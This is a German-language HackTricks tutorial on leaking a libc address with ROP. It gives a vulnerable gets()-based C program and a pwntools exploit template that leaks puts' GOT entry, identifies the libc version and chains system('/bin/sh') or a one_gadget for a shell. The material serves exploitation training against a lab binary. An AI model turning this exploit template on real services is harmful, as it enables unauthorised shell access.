Leaking libc-Adresse mit ROP
Reading time: 10 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Schnelle Zusammenfassung
- Finde Overflow Offset
- Finde
POP_RDI
Gadget,PUTS_PLT
undMAIN
Gadgets - Verwende die vorherigen Gadgets, um die Speicheradresse von puts oder einer anderen libc-Funktion zu leaken und die libc-Version zu finden (donwload it)
- Mit der Bibliothek, berechne den ROP und exploitiere ihn
Weitere Tutorials und Binaries zum Üben
Dieses Tutorial wird den im Tutorial vorgeschlagenen Code/Binary ausnutzen: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Weitere nützliche Tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Code
Dateiname: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Leaking LIBC Vorlage
Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binary und gib die benötigten Daten an das Skript weiter:
1- Offset finden
Die Vorlage benötigt einen Offset, bevor sie mit dem Exploit fortfahren kann. Wenn ein Offset bereitgestellt wird, wird der notwendige Code ausgeführt, um ihn zu finden (standardmäßig OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Führen Sie python template.py
aus, eine GDB-Konsole wird mit dem abgestürzten Programm geöffnet. Führen Sie in dieser GDB-Konsole x/wx $rsp
aus, um die Bytes zu erhalten, die den RIP überschreiben sollten. Holen Sie sich schließlich den Offset mit einer Python-Konsole:
from pwn import *
cyclic_find(0x6161616b)
Nachdem der Offset (in diesem Fall 40) gefunden wurde, ändern Sie die OFFSET-Variable im Template mit diesem Wert.
OFFSET = "A" * 40
Eine andere Möglichkeit wäre: pattern create 1000
-- ausführen bis ret -- pattern seach $rsp
von GEF.
2- Gadgets finden
Jetzt müssen wir ROP-Gadgets im Binärprogramm finden. Diese ROP-Gadgets werden nützlich sein, um puts
aufzurufen, um die verwendete libc zu finden, und später um den endgültigen Exploit zu starten.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
Der PUTS_PLT
wird benötigt, um die Funktion puts aufzurufen.
Der MAIN_PLT
wird benötigt, um die Hauptfunktion nach einer Interaktion erneut aufzurufen, um die Überlauf erneut auszunutzen (unendliche Runden der Ausnutzung). Er wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen.
Der POP_RDI wird benötigt, um einen Parameter an die aufgerufene Funktion zu übergeben.
In diesem Schritt müssen Sie nichts ausführen, da alles während der Ausführung von pwntools gefunden wird.
3- Finden der libc-Bibliothek
Jetzt ist es an der Zeit herauszufinden, welche Version der libc-Bibliothek verwendet wird. Dazu werden wir die Adresse im Speicher der Funktion puts
leaken und dann werden wir suchen, in welcher Bibliotheksversion sich die puts-Version an dieser Adresse befindet.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Dies wird einige Bytes senden, bis das Überschreiben des RIP möglich ist: OFFSET
.
Dann wird die Adresse des Gadgets POP_RDI
gesetzt, sodass die nächste Adresse (FUNC_GOT
) im RDI-Register gespeichert wird. Das liegt daran, dass wir puts aufrufen und ihm die Adresse von PUTS_GOT
übergeben wollen, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, die auf PUTS_GOT
zeigt.
Danach wird PUTS_PLT
(mit PUTS_GOT
im RDI) aufgerufen, sodass puts den Inhalt von PUTS_GOT
(die Adresse der puts-Funktion im Speicher) liest und ausgibt.
Schließlich wird die Hauptfunktion erneut aufgerufen, damit wir das Überlauf erneut ausnutzen können.
Auf diese Weise haben wir die puts-Funktion getäuscht, um die Adresse im Speicher der Funktion puts (die sich in der libc-Bibliothek befindet) auszugeben. Jetzt, da wir diese Adresse haben, können wir herausfinden, welche libc-Version verwendet wird.
Da wir einige lokale Binärdateien ausnutzen, ist es nicht notwendig, herauszufinden, welche Version von libc verwendet wird (einfach die Bibliothek in /lib/x86_64-linux-gnu/libc.so.6
finden).
Aber im Fall eines Remote-Exploits erkläre ich hier, wie Sie es finden können:
3.1- Suche nach der libc-Version (1)
Sie können suchen, welche Bibliothek auf der Webseite verwendet wird: https://libc.blukat.me/
Es wird Ihnen auch ermöglichen, die entdeckte Version von libc herunterzuladen.
3.2- Suche nach der libc-Version (2)
Sie können auch Folgendes tun:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Das wird einige Zeit in Anspruch nehmen, seien Sie geduldig.
Damit dies funktioniert, benötigen wir:
- Libc-Symbolname:
puts
- Leaked libc-Adresse:
0x7ff629878690
Wir können herausfinden, welche libc höchstwahrscheinlich verwendet wird.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Wir erhalten 2 Übereinstimmungen (Sie sollten die zweite ausprobieren, wenn die erste nicht funktioniert). Laden Sie die erste herunter:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Kopiere die libc von libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
in unser Arbeitsverzeichnis.
3.3- Andere Funktionen zum Leaken
puts
printf
__libc_start_main
read
gets
4- Finden der libc-Adresse basierend auf und Ausnutzung
An diesem Punkt sollten wir die verwendete libc-Bibliothek kennen. Da wir ein lokales Binary ausnutzen, werde ich nur verwenden: /lib/x86_64-linux-gnu/libc.so.6
Ändern Sie also am Anfang von template.py
die libc-Variable in: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Setze den Bibliothekspfad, wenn bekannt
Durch die Angabe des Pfads zur libc-Bibliothek wird der Rest des Exploits automatisch berechnet.
Innerhalb der get_addr
-Funktion wird die Basisadresse von libc berechnet:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Beachten Sie, dass die endgültige libc-Basisadresse mit 00 enden muss. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt.
Dann werden die Adresse der Funktion system
und die Adresse des Strings "/bin/sh" aus der Basisadresse von libc berechnet und der libc-Bibliothek gegeben.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Schließlich wird der /bin/sh-Ausführungs-Exploit vorbereitet und gesendet:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Lass uns dieses letzte ROP erklären.
Das letzte ROP (rop1
) endete damit, dass die Hauptfunktion erneut aufgerufen wurde, dann können wir wieder ausnutzen die Überlauf (deshalb ist der OFFSET
hier wieder). Dann wollen wir POP_RDI
aufrufen, das auf die Adresse von "/bin/sh" (BINSH
) zeigt und die system Funktion (SYSTEM
) aufrufen, da die Adresse von "/bin/sh" als Parameter übergeben wird.
Schließlich wird die Adresse der Exit-Funktion aufgerufen, damit der Prozess schön endet und keine Warnung generiert wird.
So wird der Exploit eine _/bin/sh_** Shell ausführen.**
4(2)- Verwendung von ONE_GADGET
Du könntest auch ONE_GADGET verwenden, um eine Shell zu erhalten, anstatt system und "/bin/sh" zu verwenden. ONE_GADGET wird in der libc-Bibliothek eine Möglichkeit finden, eine Shell mit nur einer ROP-Adresse zu erhalten.
Es gibt jedoch normalerweise einige Einschränkungen, die häufigsten und am einfachsten zu vermeidenden sind wie [rsp+0x30] == NULL
. Da du die Werte im RSP kontrollierst, musst du nur einige weitere NULL-Werte senden, damit die Einschränkung umgangen wird.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT DATEI
Sie finden eine Vorlage, um diese Schwachstelle auszunutzen, hier:
Häufige Probleme
MAIN_PLT = elf.symbols['main'] nicht gefunden
Wenn das "main"-Symbol nicht existiert. Dann können Sie herausfinden, wo sich der Hauptcode befindet:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
und die Adresse manuell festlegen:
MAIN_PLT = 0x401080
Puts nicht gefunden
Wenn die Binärdatei Puts nicht verwendet, sollten Sie überprüfen, ob sie verwendet wird
sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden
Wenn Sie diesen Fehler nach der Erstellung aller Exploits finden: sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden
Versuchen Sie, 64 Bytes von der Adresse von "/bin/sh" abzuziehen:
BINSH = next(libc.search("/bin/sh")) - 64
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.